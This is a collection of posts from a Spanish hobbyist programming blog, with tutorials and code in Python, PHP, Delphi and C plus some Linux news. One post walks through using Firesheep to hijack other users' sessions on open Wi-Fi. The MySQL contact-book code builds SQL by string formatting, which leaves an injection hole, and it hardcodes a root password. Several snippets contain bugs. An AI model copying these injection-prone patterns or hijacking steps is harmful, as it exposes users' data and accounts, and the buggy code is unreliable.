Hola, que tal!!
Hoy vamos a aprender a crear interfaces gráficas usando Python y GTK, bien para ello es necesario tener conocimientos de python a nivel "intermedio", trabajar un poco con POO, entre algunas otras cosas.

Bien para ello necesitaremos tener Python, yo uso actualmente la versión 2.7 y con esa trabajaré, también es necesario tener las librerías para poder trabajar con GTK, para ello si eres usuario de windows puedes bajar los archivos binarios desde la web oficial, (te recomiendo el paquete all-in-one installer, ahi viene todo lo necesario para usar pyGTK, y descarga el paquete apropiado ya sea python 2.6 o 2.7, etc... ), y si eres usuario de GNU/Linux, probablemente en tu distribución las librerías ya estén instaladas... o por lo menos eso dice en la web oficial xD



Una vez instaladas las librerías, ahora si es hora de programar ;D
Bien para ello abrimos nuestro editor favorito, (IDLE de Python, Bloc de notas, VIM, NANO, Notepad++ etc.. ) y escribiremos lo siguiente:

#!/usr/bin/env python

#Importamos las librerias Necesarias de GTK
import pygtk
pygtk.require("2.0")
import gtk

class Base:
def __init__(self):
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.show()

def main(self):
gtk.main()

if __name__=="__main__":
base = Base()
base.main()

Y bien tratare de explicar el code...

Las lineas:
#!/usr/bin/env python

#Importamos las librerias Necesarias de GTK
import pygtk
pygtk.require("2.0")
import gtk

Son para llamar al interprete de Python, después tenemos en la cuarta linea la importación de la librería pyGTK, también decimos que requerimos de la versión 2.0, e importamos la librería gtk, no se asusten en realidad esto no es importante de entender, simplemente deben saber que es para poder trabajar con GTK...

Después tenemos las lineas:

class Base:    
def __init__(self):
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.show()

def main(self):
gtk.main()

Creamos una clase llamada "Base", en ella vamos a escribir las funciones, la primera:

def __init__(self):
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.show()

Bien, en esta parte como dije al inicio ya debemos de saber un poco de Python, asi que solo explicare los objetos que se crean:

        
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.show()

En la primera linea creamos una ventana, asignamos a la variable self.window el valor gtk.Window(gtk.WINDOW_TOPLEVEL) , con esto ya creamos la ventana, despues en la segunda linea hacemos que se muestre...

Después creamos una función llamada main, ahí se almacenará gtk.main(), que posteriormente llamaremos a esta función con las siguientes lineas:


if __name__=="__main__":
base = Base()
base.main()


Si necesitan ayuda sobre estas lineas recomiendo visitar este link, talvez ahí se aclare su duda :D
Y bien con eso ya tenemos nuestra primer ventana... pueden probar el code desde su terminal haciendo:


python interfaz1.py



Bien, si se dan cuenta, al dar click en cerrar, la terminal se ve como si siguiera corriendo el proceso, es decir no se a terminado, no se cerró el programa, bien para ello vamos a agregar  unas lineas al code, asi que apretaremos en la terminal CTR+C y veremos algo como esto:


Ahora si editaremos el code...
Vamos a crear una función "destruir", o asi la llamare yo, en realidad puede tener cualquier nombre, pero es recomendable que a la hora de escribir código sea entendible :D

Bien escribiremos antes de:


def __init__(self):
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.show()


Las siguientes lineas:


class Base:
#Creamos la funcion Destruir
def destruir(self,widget, data="None"):
gtk.main_quit()

def __init__(self):
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.show()
#Agregamos esta linea
self.window.connect("destroy",self.destruir)

Como podemos ver también agregamos una linea en la función __init__ esto para que cuando se haga click en el botón cerrar se llame a la función destruir y se cierre la ventana correctamente, es IMPORTANTE que a la linea:

self.window.connect("destroy",self.destruir)

se le pase como parámetros "destroy" coma (,) seguidamente de la función para destruir la ventana (self.desruir)...
Ahora si si probamos el code veremos que ya no nos sucede que, la terminal seguía como si aun hubiera un proceso corriendo, esto es porque ahora SI SE CIERRA el proceso correctamente :D

Asi que el codigo finalmente nos queda algo como:


En rojo están las lineas que agregamos...
Y bien esta es nuestro primer programa con Python y GTK, realmente es algo sencillo, después veremos algunas funciones mas para personalizar la ventana, como tamaño, titulo, etc...

Finalmente el código nos quedó así:

#!/usr/bin/env python

#Importamos las librerias Necesarias de GTK
import pygtk
pygtk.require("2.0")
import gtk

class Base:
def destruir(self,widget, data="None"):
gtk.main_quit()

def __init__(self):
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.show()
self.window.connect("destroy",self.destruir)

def main(self):
gtk.main()

if __name__=="__main__":
base = Base()
base.main()


Si se preguntan que editor usé, se llama VIM...
¿Alguna duda? Comenta!!
Salud[OS]
[Z]tuX
Bien, como podemos saber en Python El famoso Switch de C/C++, Java, Pascal, etc... no existe, pero podemos simularlo.¿Como podemos hacer esto?Bien pues en Python podemos hacer uso de los famosos Diccionarios, para ello crearemos un diccionario llamado "switch" y dentro de el van las opciones, para dejar mas claro esto podemos ver el siguiente ejemplo:

def ztux():
print "ZtuX"
def blog():
print "Blog"
def programacion():
print "Programacion"

def main():
while True:
switch={1:ztux,
2:blog,
3:programacion,
}
print """Elige una Opcion
[1] ZtuX
[2] Blog
[3] Programacion
"""
opc = input("> ")
switch[opc]()

main()
¿Facil no?¿Dudas? Comenta!!
Hola que tal.... hoy estaba aburrido así que me puse a jugar con Python y pues estoy creando una librería para trabajar con vectores...
Aun empecé y la verdad no se si después la continué, son libres de tomar el code y modificarlo xD

Aquí el code
#Libreria ZVectores - by [Z]tuX
import math

class punto3D(object):
def __init__(self,x=0,y=0,z=0):
self.x=x
self.y=y
self.z=z
def __str__(self):
return "Vector ["+str(self.x)+","+str(self.y)+","+str(self.z)+"]"
def modulo(self):
return math.sqrt(self.x+self.y+self.z)
def show(self):
return self.x,self.y,self.x
#SUMA DE DOS VECTORES
def __add__(self,point):
return punto(self.x+point.x,self.y+point.y,self.z+point.z)
#RESTA DE DOS VECTORES
def __sub__(self,point):
return punto(self.x-point.x,self.y-point.y,self.z-point.z)
#COMPARAMOS DOS VECTORES
def __cmp__(self,point):
if self.x==point.x and self.y==point.y:
return 0

class punto2D(punto3D):
def __init__(self,x=0,y=0):
punto3D.__init__(self,x,y)

#OPERACIONES CON 2 VECTORES
class opc_ptos(object):
'''Opera dos Vectores'''
def __init__(self,x,y,z,a,b,c):
self.x=x
self.y=y
self.z=z
self.a=a
self.b=b
self.c=c
def pp(self):
'''Producto Punto'''
return (self.x*self.a)+(self.y*self.b)+(self.z*self.c)
def pc(self):
'''Producto Cruz'''
i=(self.y*self.c)-(self.z*self.b)
j=-((self.x*self.c)-(self.z*self.a))
k=(self.x*self.b)-(self.y*self.a)
return i,j,k

En este sencillo tutorial, les enseñaré el uso de la herramienta 2to3 de Python.
Si no te familiarizas todavía con la versión 3 esta herramienta te guiará en ello :)



By KodeInfect
Link Video
Hola que tal!
Anteriormente ya había hecho esta "Agenda", lo que hice ahora fue mejorarla (Ohhh :O.... xD)
Bien que tiene de nuevo... pues si usaron la versión anterior de mi "Agenda" podrán notar algunos cambios, bien aquí la lista de las mejoras:
[+]Se agrego el campo E-mail

[+]Se mejoro la lectura de los Contactos

[+]Se mejoro la búsqueda de los contactos
Entre otras cosillas mas... :)

Bien para usar esta agenda necesitan usar la librería que nos ayudara a conectar con MySQL, para ello usaremos los siguientes comandos:

apt-get install python-mysqldb

En fedora sería algo como:
yum install MySQL-python.i686

También es necesario haber creado la base de datos con el Nombre que quieran, solo importante dentro de la tabla crear los campos "nombre" , "telefono" e "mail", primero nos logeamos en MySQL y despues creamos la DataBase...

#[1]DESPUES DE -u INTRODUCIMOS EL USER
#[2]DAMOS ENTER E INTRODUCIMOS LA PASS
mysql -u root -p;
create database contactos;
use contactos;
create table contactos(nombre varchar(50),pass varchar(25),mail varchar(30));

Eso seria la base de datos para poder hacer funcionar nuestro "Programa"...
También pueden crear esta tabla desde su navegador, ya depende de cada quien, para mi es mas rápido en la consola :D

Bien después de crear la base de datos con la tabla respectiva es posible usar la agenda.
Bien pues aquí el code:


#!/usr/bin/Python

###########################
#AGENDA EN PYTHON V 1.5 #
#BY [Z]tuX #
#http://ztux.blogspot.com/#
###########################

import MySQLdb, os

def agregar(server,user,passwd,bd):
db = MySQLdb.connect(server,user,passwd,bd)
cursor = db.cursor()
name = raw_input('[+]Nombre: ')
telefono = raw_input('[+]Telefono: ')
mail= raw_input('[+]E-Mail: ')
cursor.execute("insert into contactos (nombre,telefono,mail) values ('%s','%s','%s')"%(name,telefono,mail))
print 'Datos agregados correctamente...'
cursor.fetchall()
cursor.close()
raw_input("> Press Enter...")
run()
def ver (server,user,passwd,bd):
try:
db = MySQLdb.connect(server,user,passwd,bd)
ztux = db.cursor()
ztux.execute("select * from %s "%(bd))
a = ztux.fetchall()
for i in a: #Se crea una lista en la variable i
if i=='':
print "No hay contactos..."
else:
print '[+]Nombre:',i[0],'\n[+]Telefono:',i[1],'\n[+]E-Mail:',i[2],"\n----------" #Mostramos La lista
ztux.close()
raw_input("> Press Enter...")
run()
except:
print '[*]Error al conectar a la base de Datos...\n'
run()

def buscar(server,user,passwd,bd):
try:
db = MySQLdb.connect(server,user,passwd,bd)
buscar = raw_input('[+]Nombre del contacto: ')
ztux = db.cursor()
ztux.execute("select * from %s where nombre='%s'"%(bd,buscar))
a = ztux.fetchall()
for i in a:
print '[+]Nombre:',i[0],'\n[+]Telefono:',i[1],'\n[+]E-Mail:',i[2]
ztux.close()
raw_input("> Press Enter...")
run()
except:
print '[*]Error al conectar a la base de Datos...\n'
run()

def editar(server,user,passwd,bd):
try:
db = MySQLdb.connect(server,user,passwd,bd)
print '[1]Nombre\n[2]Telefono\n[3]E-mail\n[+]Regresar'
opc =raw_input('Que desas editar: ')
if opc=='1':
editar = raw_input('[+]Nombre del contacto a editar: ')
cambiar = raw_input('[+]Escribe el nuevo nombre del contacto: ')
ztux = db.cursor()
ztux.execute("update %s set nombre='%s' where nombre='%s'"%(bd,cambiar,editar))
ztux.close()
print 'Contacto Actualizado...'
raw_input("> Press Enter...")
run()
elif opc=='2':
editar = raw_input('[+]Nombre del contacto a editar: ')
cambiar = raw_input('[+]Escribe el nuevo numero del contacto: ')
ztux = db.cursor()
ztux.execute("update %s set telefono='%s' where nombre='%s'"%(bd,cambiar,editar))
ztux.close()
print 'Contacto Actualizado...'
raw_input("> Press Enter...")
run()
elif opc=='3':
editar = raw_input('[+]Nombre del contacto a editar: ')
cambiar = raw_input('[+]Escribe el nuevo e-mail del contacto: ')
ztux = db.cursor()
ztux.execute("update %s set mail='%s' where nombre='%s'"%(bd,cambiar,editar))
ztux.close()
print 'Contacto Actualizado...'
raw_input("> Press Enter...")
run()
elif opc=='+':
run()
else:
print 'Opcion Incorrecta...'
run()

except:
print '[*]Error al conectar a la base de Datos...\n'
raw_input("> Press Enter...")
run()

def borrar(server,user,passwd,bd):
try:
db = MySQLdb.connect(server,user,passwd,bd)
borrar = raw_input('[+]Nombre del contacto: ')
ztux = db.cursor()
ztux.execute("delete from %s where nombre='%s'"%(bd,borrar))
ztux.close()
print '[+]Contacto borrado con exito...'
raw_input("> Press Enter...")
run()
except:
print '[*]Error al conectar a la base de Datos...\n'

def run():
os.system('clear') #Cambiar "clear" por "cls" si Usas Windows
print '-------------------------'
print ' Agenda by [Z]tuX '
print 'http://ztux.blogspot.com/'
print ' ztux.ztux@gmail.com '
print '-------------------------'
print '''[1] Agregar contacto
[2] Ver contactos
[3] Buscar Contacto
[4] Editar Contacto
[5] Borrar contacto
[0] Salir
''' #CONFIGURAR AQUI#
server='localhost' #Servidor MySQL
user='root' #Usuario MySQL
passwd='chucho' #Passwd MySQL
bd='contactos' #Base de Datos
#################
opc = raw_input('> ')
if opc =='1':
agregar(server,user,passwd,bd)
elif opc =='2':
ver(server,user,passwd,bd)
elif opc =='3':
buscar(server,user,passwd,bd)
elif opc=='4':
editar(server,user,passwd,bd)
elif opc=='5':
borrar(server,user,passwd,bd)
elif opc=='0':
return 0
else:
print '[*]Opcion Incorrecta...'
run()
run()
Eso es todo, probado con Python 2.7...Salud[OS]
Bueno... Hace poco en se publicó en Toorcon 12 el polémico complemento de Firefox, Firesheep, y digo polémico porque en muchas webs se a tratado este complemento como una herramienta magníficamente efectiva en su misión de conseguir contraseñas (especialmente de Facebook, Twitter, etc...).

La verdad es que lo que hace esta herramienta antes también se podía hacer de un "modo manual"y más complicado para aquellos que no tienen conocimiento amplio de informática (Hacking), pero con Firesheep esta tarea queda reducida a simplemente instalar dicho complemento, abrir Firefox y listo!

Al iniciar sesión en un sitio web uno ingresa nombre de usuario y contraseña. Entonces el servidor checkea si la cuenta es correcta y nos devuelve una linda cookie que es usada por el navegador para que la próxima vez que ingreses a tu web no tengas que ingresar nombre de usuario y contraseña denuevo (muy práctico la verdad). Hoy en día hay muchas webs que cifran usuario y contraseña pero no la cookie, por eso mismo es que son vulnerables a HTTP session hijacking ("sidejacking") que es cuando un atacante consigue la cookie de un usuario, lo que les permite hacer cualquier cosa que el usuario puede hacer en un sitio web en particular. En una red inalámbrica abierta, las cookies circulan sin ser cifradas, por lo cual quedan indefensas ante un ataque sidejacking.

Bueno, toda esa explicación es solo para que sepan lo que hace Firesheep. Y ahora les entro a mostrar la herramienta:

Una vez que instalamos Firesheep en Firefox (al descargar la extensión *.xpi pongan "abrir con Firefox"). Aparecerá na nueva barra en la izquierda del Firefox, si no  pensetaña Ver ->  Panel lateral -> Firesheep. Nos conectamos a cualquier Red Wifi abierta y hacemos click en "Start Capturing":


Tan Pronto como se logeen usuarios que usen la misma red Wifi abierta, van a empezar a aparecer imágenes con el nombre del logeado:

Esa sería la herramienta Firesheep, sin duda bastante útil (tanto con fines malévolos como lícitos).

Descarga de Firesheep:
http://codebutler.github.com/firesheep/
*Los usuarios de Windows tienen la obligación de instalar WinPcap.

Source de un blog Amigo: KodeInfect's Blog


Descripción:

Este texto escrito por dos grandes autores fué concebido para un primer curso de diseño de compiladores. Se pone especial énfasis en la resolución de problemas universalmente encontrados en el diseño de un lenguaje traductor, con independencia de las máquinas fuente u objetivo.

Contenido:

1. Introducción a la compilación.
2. Un compilador sencillo de una pasada.
3. Análisis léxico.
4. Análisis sintáctico.
5. Traducción dirigida por sintaxis.
6. Verificación de tipos.
7. Ambientes durante la ejecución.
8. Generación de código intermedio.
9. Generación de código.
10. Optimación de código.
11. ¿Desea escribir un compilador?
12. Repaso de algunos compiladores.
Apéndice A: Un proyecto de compilador.
Bibliografía.
Vocabulario técnico bilingüe.
Índice de materias.

Información del Libro:

Nombre del Libro: Compiladores, Principios, Técnicas Y Herramientas
Autores: Alfred V. Aho - Ravi Sethi : At&T Bell Laboratories. Murray Hill, New Jersey - Jeffrey D. Ullman : Stanford University
Edición: 1990
Formato: .pdf
Compresión: .rar
Número de Páginas: 803 Páginas
Idioma: Español
Tamaño: 107 MB

Descargar libro del dragon rojo

Fuente : LibrosTown
Bien, un problema con el que me encontre cuando programabá mi antigua web (que por cierto ya no esta activa u.u) fue que la hora estaba mal configurada, me aparecia la hora del hosting donde estaba alojada la web y no la hora de mi país xD.

Por eso con esta pequeña configuración podemos dejar nuestro reloj configurado a nuestro gusto... Bien para ello usaremos la siguiente línea:

date_default_timezone_set("Mexico/General");
Con esta línea estaremos configurando la hora que querramos que aparesca en la web... Y bueno aqui dejo la lista de la configuración de cada país.





Y Bueno aquí un ejemplo de como usarlo xD
  <?php
require ('pages/footer.php');
date_default_timezone_set("Mexico/General");
$day = date(d);
$month= date(m);
$year = date(y);
$hora = date("h:i:s");
echo "Welcome / Bienvenido / Willkommen";
echo $day."/".$month."/".$year.";
echo "Hour: ".$hora.";
echo "You are in: ".$titulo.";
?>

Salud[OS]Und Gutn Nacht!!!
Llegan noticias de Linux Mint, esta vez positivas: la modificación de Ubuntu tendrá un shell de escritorio propio llamado Cinnanom, pensado para ofrecer una verdadera “experiencia clásica” de calidad, sin perder tampoco las mejores características de GNOME Shell por el camino.


Según publican en Web Upd8, Cinnanom es un fork de Gnome Shell iniciado por Clement Lefebvre, líder del proyecto Linux Mint, el cual se encuentra en sus primeras fases de desarrollo. Se basa en algunas de las características ofrecidas por MGSE (Mint GNOME Shell Extensions), pero se supone que el objetivo final es el de crear su propia interfaz de escritorio.

Una imagen de este Cinnanom la tenéis en la cabecera, y si os fijáis ya no se utiliza la barra superior de GNOME Shell -parte de Linux Mint 12 e innecesaria para muchos usuarios-, y la bandeja de sistema vuelve a donde siempre, mientras que el menú/vista de actividades seguirá presente.

Y de momento no hay mucho más que contar, pero la noticia desde luego es interesante. Porque seguir insistiendo en GNOME 2 con Mate no tenía ningún futuro, y las cuatro extensiones de MGSE estaban bien para salvar la vez, pero poco más. Así pues, Linux Mint se posiciona de nuevo con independencia de su entorno (entorno tecnológico, que no de escritorio). ¿Cómo lo veis?

Source 
Bien... hace ya tiempo que programé esta sencilla aplicación... Es un editor de textos muy básico escrito en Delphi... tal vez a algunos les sirva de ejemplo... así que dejo el code y el rar con todos los archivos generados por el compilador...


unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, StdCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
MainMenu1: TMainMenu;
Archivo1: TMenuItem;
Abrir1: TMenuItem;
Guardar1: TMenuItem;
Cerrar1: TMenuItem;
SaveDialog1: TSaveDialog;
OpenDialog1: TOpenDialog;
Guardar2: TMenuItem;
Edicin1: TMenuItem;
Cortar1: TMenuItem;
Copiar1: TMenuItem;
Pegar1: TMenuItem;
Acercade1: TMenuItem;
Acercade2: TMenuItem;
Nuevo1: TMenuItem;
procedure Cerrar1Click(Sender: TObject);
procedure Guardar1Click(Sender: TObject);
procedure Abrir1Click(Sender: TObject);
procedure Guardar2Click(Sender: TObject);
procedure Acercade2Click(Sender: TObject);
procedure Nuevo1Click(Sender: TObject);
procedure Cortar1Click(Sender: TObject);
procedure Copiar1Click(Sender: TObject);
procedure Pegar1Click(Sender: TObject);
private
{ Private declarations }
strArchivo: String;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Abrir1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
strArchivo := OpenDialog1.FileName;
end;
end;

procedure TForm1.Acercade2Click(Sender: TObject);
begin
ShowMessage('Editor de Textos' +#13+'By [Z]tuX 2011'+#13'Creado en Delphi');
end;

procedure TForm1.Cerrar1Click(Sender: TObject);
begin
Form1.Close;
end;

procedure TForm1.Copiar1Click(Sender: TObject);
begin
Memo1.CopyToClipboard;
end;

procedure TForm1.Cortar1Click(Sender: TObject);
begin
Memo1.CutToClipboard;
end;

procedure TForm1.Guardar1Click(Sender: TObject);
begin
if SaveDialog1.Execute Then
begin
Memo1.Lines.SaveToFile(SaveDialog1.Filename);
strArchivo := SaveDialog1.FileName;
end;
end;

procedure TForm1.Guardar2Click(Sender: TObject);
begin
if strArchivo = '' then
Guardar1Click(self)
else
Memo1.Lines.SaveToFile(strArchivo);
end;


procedure TForm1.Nuevo1Click(Sender: TObject);
begin
if Memo1.Text <> '' then
if Application.MessageBox('¿Guardar Texto Actual?','Atención' ,
MB_ICONQUESTION OR MB_YESNO ) = ID_YES then
Guardar2Click( Self );
Memo1.Clear;
end;

procedure TForm1.Pegar1Click(Sender: TObject);
begin
Memo1.PasteFromClipboard;
end;

end.

Bien aqui dejo el RAR con los archivos de este programa, por si quieren hechar un vistazo al code...
DESCARGA: http://www.mediafire.com/?cmxubc9f05htt2k

Captura:
 Salud[OS]
Hace poco que los desarrolladores de GIMP anunciaron novedades acerca de la próxima gran actualización de la aplicación, cuya espera se ha hecho -y se sigue haciendo- muy larga. De momento, ya esta aquí GIMP 2.7.4.



 El pasado agosto se publicó GIMP 2.7.3, versión de desarrollo que no obstante se ofrecía para su instalación a los usuarios con más ganas de probar nuevas características, como el modo de ventana única o los grupos de capas, entre otras.
Mientras tanto llega GIMP 2.7.4, que básicamente presenta pequeñas mejoras a nivel de interfaz de usuario (que se notarán especialmente en Mac OS X) además de correcciones. Dependiendo de los errores que se reporten a partir de esta versión, será la última de la rama 2.7 o no, antes de que se lancen las RC de GIMP 2.8 (lo que podría suponer más retraso todavía). Podéis encontrar más información en el anuncio oficial.

Para conseguir GIMP 2.7.4 deberéis acudir a los canales propios que ofrezca vuestra distribución, aunque tocará esperar un poco a que actualicen (ahora mismo no ha llegado ni a Arch Linux). Los usuarios de Ubuntu podéis utilizar el siguiente PPA, donde ya está disponible:

sudo add-apt-repository ppa:matthaeus123/mrw-gimp-svn
sudo apt-get update
sudo apt-get install gimp

Ahora solo toca esperar al lanzamiento de GIMP 2.8, cuya fecha de liberación se apuntaba al próximo 25 de enero.
Source

 
Bien, hace tiempo que programe en Python este pequeño "programa", que sirve para encriptar palabras... Talvez les sirva de ejemplo... y tenia ya este code aqui en el blog, pero hice unos cambios al source y bien pues asi quedó...

#!/usr/bin/python
# -*- coding:UTF-8 -*-
import sys, base64, hashlib, hmac
from string import maketrans

#Codificacion con maketrans
ZtuX=maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789","mab1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK Z#CVB/M@&\*.;_^{}")
#Decodificación con makeTrans
Ztux=maketrans("mab1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK Z#CVB/M@&\*.;_^{}","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")

def _md5(palabra):
return hashlib.md5(palabra).hexdigest()
def code_base64(palabra):
return base64.b64encode(palabra)
def decode_base64(palabra):
return base64.b64decode(palabra)
def ztux(palabra):
return palabra.translate(ZtuX)
def dztux(palabra):
return palabra.translate(Ztux)
def sha1(palabra):
return hashlib.sha1(palabra).hexdigest()
def sha256(palabra):
return hashlib.sha256(palabra).hexdigest()
def sha384(palabra):
return hashlib.sha384(palabra).hexdigest()
def sha512(palabra):
return hashlib.sha512(palabra).hexdigest()
def Hmac(palabra):
return hmac.new(palabra).hexdigest()
def no_vocales(palabra):
resultado = ''
for elemento in palabra:
if elemento not in "aeiouAEIOU":
resultado = resultado + elemento
return resultado

def help():
print """
==============================================
[Z]tuX
==============================================
Visita: http://ZtuX.blogspot.com/
==============================================
[+] Modo de uso: encrypt.py [Palabra] [Hash]
[+] Ejemplo: encrypt.py Encriptar_esto -md5

-h Muestra esto en pantalla
-v Muestra la Version del Programa
-o Muestra otras funciones

-md5 Codifica en MD5
-sha Codifica en sha1
-sha256 Codifica en sha256
-sha384 Codifica en sha384
-sha512 Codifica en sha512
-hmac Codifica en hmac

-base64 Codifica en base64
-dbase64 Decodifica en base64
"""
def otros():
print '''
==============================================
[O]TROS
==============================================
-novoc Elimina las vocales de una palabra
-ztux Codifica en ZtuX
-dztux Decodifica ZtuX
'''

#SENTENCIAS [MENU]
def run():
ver='2.6'
if (len(sys.argv)==1) or sys.argv[1].lower()=="-h" or sys.argv[1].lower()=="--help":
help()
elif sys.argv[1]=='-o' or sys.argv[1]=='--others':
otros()
elif sys.argv[1].lower()=='-v' or sys.argv[1].lower()=='--version':
print "Cript version: " + ver + "\nAutor: [Z]tuX"
elif (len(sys.argv)>3):
print "ERROR...\nModo de uso: cript.py [Palabra] [Hash]"
elif sys.argv[2].lower()=='-md5':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%_md5(palabra)
elif sys.argv[2].lower()=='-base64':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%code_base64(palabra)
elif sys.argv[2].lower()=='-dbase64':
palabra=sys.argv[1]
print 'Texto Decodificado: %s'%decode_base64(palabra)
elif sys.argv[2].lower()=='-ztux':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%ztux(palabra)
elif sys.argv[2].lower()=='-dztux':
palabra=sys.argv[1]
print 'Texto Decodificado: %s'%dztux(palabra)
elif sys.argv[2].lower()=='-sha':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%sha1(palabra)
elif sys.argv[2].lower()=='-sha256':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%sha256(palabra)
elif sys.argv[2].lower()=='-sha384':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%sha384(palabra)
elif sys.argv[2].lower()=='-sha512':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%sha512(palabra)
elif sys.argv[2].lower()=='-hmac':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%Hmac(palabra)
elif sys.argv[2].lower()=='-novoc':
palabra=sys.argv[1]
print 'Texto Sin Vocales: %s'%no_vocales(palabra)
else:
print 'Debes indicar Palabra y Hash a Encriptar...'
print 'Para mas informacion teclea -h o --help'

#INICIO DEL PROGRAMA
run()

#[E]nD
#[Z]tuX
Salud[OS]!Guten Tag!!
Bien...Estaba hace rato trabajando con esta "Calculadora de Matrices"Apenas empecé a codear y bien dejo lo que llevo xD!!
//#/==================================\
//# Calculadora de matrices en C
//# CODED BY [Z]tuX
//# http://ztux.blogspot.com/
//# ztux.root[at] googlemail [dot] com
//#\==================================/
#include [stdio.h]
#include [stdlib.h]

int A11,A12,A13,A21,A22,A23,A31,A32,A33,opc;
int B11,B12,B13,B21,B22,B23,B31,B32,B33;
int C11,C12,C13,C21,C22,C23,C31,C32,C33;

void menu()
{
printf("Calculadora de Matrices (Matriz de 3x3)\n");
printf("[1]Suma de Matrices\n");
printf("[2]Multiplicacion de Matrices\n");
printf("[3]Matriz por un Escalar\n");
printf("[4]Transpuesta de Una Matriz\n");
printf("Selecciona Una Opcion:\n>");
scanf("%d",&opc);
}
//[1]Suma de Matrices
int suma()
{
printf("MATRIZ A:\n");
printf("A11: "); scanf("%d",&A11);
printf("A12: "); scanf("%d",&A12);
printf("A13: "); scanf("%d",&A13);

printf("A21: "); scanf("%d",&A21);
printf("A22: "); scanf("%d",&A22);
printf("A23: "); scanf("%d",&A23);

printf("A31: "); scanf("%d",&A31);
printf("A32: "); scanf("%d",&A32);
printf("A33: "); scanf("%d",&A33);
system("CLS");

printf("MATRIZ B:\n");
printf("B11: "); scanf("%d",&B11);
printf("B12: "); scanf("%d",&B12);
printf("B13: "); scanf("%d",&B13);

printf("B21: "); scanf("%d",&B21);
printf("B22: "); scanf("%d",&B22);
printf("B23: "); scanf("%d",&B23);

printf("B31: "); scanf("%d",&B31);
printf("B32: "); scanf("%d",&B32);
printf("B33: "); scanf("%d",&B33);

system("CLS");
C11=A11+B11; C12=A12+B12; C13=A13+B13;
C21=A21+B21; C22=A22+B22; C23=A23+B23;
C31=A31+B31; C32=A32+B32; C33=A33+B33;
printf("RESULTADO:\n");
printf("[ %d,%d,%d]\n",C11,C12,C13);
printf("[ %d,%d,%d]\n",C21,C22,C23);
printf("[ %d,%d,%d]\n",C31,C32,C33);
return 0;
}
//[2]Multiplicacion de Matrices
int multiplicacion_matrices()
{
printf("MATRIZ A:\n");
printf("A11: "); scanf("%d",&A11);
printf("A12: "); scanf("%d",&A12);
printf("A13: "); scanf("%d",&A13);

printf("A21: "); scanf("%d",&A21);
printf("A22: "); scanf("%d",&A22);
printf("A23: "); scanf("%d",&A23);

printf("A31: "); scanf("%d",&A31);
printf("A32: "); scanf("%d",&A32);
printf("A33: "); scanf("%d",&A33);
system("CLS");

printf("MATRIZ B:\n");
printf("B11: "); scanf("%d",&B11);
printf("B12: "); scanf("%d",&B12);
printf("B13: "); scanf("%d",&B13);

printf("B21: "); scanf("%d",&B21);
printf("B22: "); scanf("%d",&B22);
printf("B23: "); scanf("%d",&B23);

printf("B31: "); scanf("%d",&B31);
printf("B32: "); scanf("%d",&B32);
printf("B33: "); scanf("%d",&B33);

system("CLS");
C11=(A11*B11)+(A12*B21)+(A13*B31);
C12=(A11*B12)+(A12*B22)+(A13*B32);
C13=(A11*B13)+(A12*B23)+(A13*B33);

C21=(A21*B11)+(A22*B21)+(A23*B31);
C22=(A21*B12)+(A22*B22)+(A23*B32);
C23=(A21*B13)+(A22*B23)+(A23*B33);

C31=(A31*B11)+(A32*B21)+(A33*B31);
C32=(A31*B12)+(A32*B22)+(A33*B32);
C33=(A31*B13)+(A32*B23)+(A33*B33);

printf("RESULTADO:\n");
printf("[ %d,%d,%d]\n",C11,C12,C13);
printf("[ %d,%d,%d]\n",C21,C22,C23);
printf("[ %d,%d,%d]\n",C31,C32,C33);
return 0;
}

//[3]Matriz por un Escalar
int escalar()
{
printf("Escalar:"); scanf("%d",&opc);
printf("MATRIZ:\n");
printf("A11: "); scanf("%d",&A11);
printf("A12: "); scanf("%d",&A12);
printf("A13: "); scanf("%d",&A13);

printf("A21: "); scanf("%d",&A21);
printf("A22: "); scanf("%d",&A22);
printf("A23: "); scanf("%d",&A23);

printf("A31: "); scanf("%d",&A31);
printf("A32: "); scanf("%d",&A32);
printf("A33: "); scanf("%d",&A33);
system("CLS");

C11=A11*opc; C12=A12*opc; C13=A13*opc;
C21=A21*opc; C22=A22*opc; C23=A23*opc;
C31=A31*opc; C32=A32*opc; C33=A33*opc;
printf("RESULTADO:\n");
printf("[ %d,%d,%d]\n",C11,C12,C13);
printf("[ %d,%d,%d]\n",C21,C22,C23);
printf("[ %d,%d,%d]\n",C31,C32,C33);

return 0;
}
//[4]Transpuesta de Una Matriz
int transpuesta()
{
printf("MATRIZ:\n");
printf("A11: "); scanf("%d",&A11);
printf("A12: "); scanf("%d",&A12);
printf("A13: "); scanf("%d",&A13);

printf("A21: "); scanf("%d",&A21);
printf("A22: "); scanf("%d",&A22);
printf("A23: "); scanf("%d",&A23);

printf("A31: "); scanf("%d",&A31);
printf("A32: "); scanf("%d",&A32);
printf("A33: "); scanf("%d",&A33);
system("CLS");

C11=A11; C12=A21; C13=A31;
C21=A12; C22=A22; C23=A32;
C31=A13; C32=A23; C33=A33;
printf("MATRIZ A:\n");
printf("[ %d,%d,%d]\n",A11,A12,A13);
printf("[ %d,%d,%d]\n",A21,A22,A23);
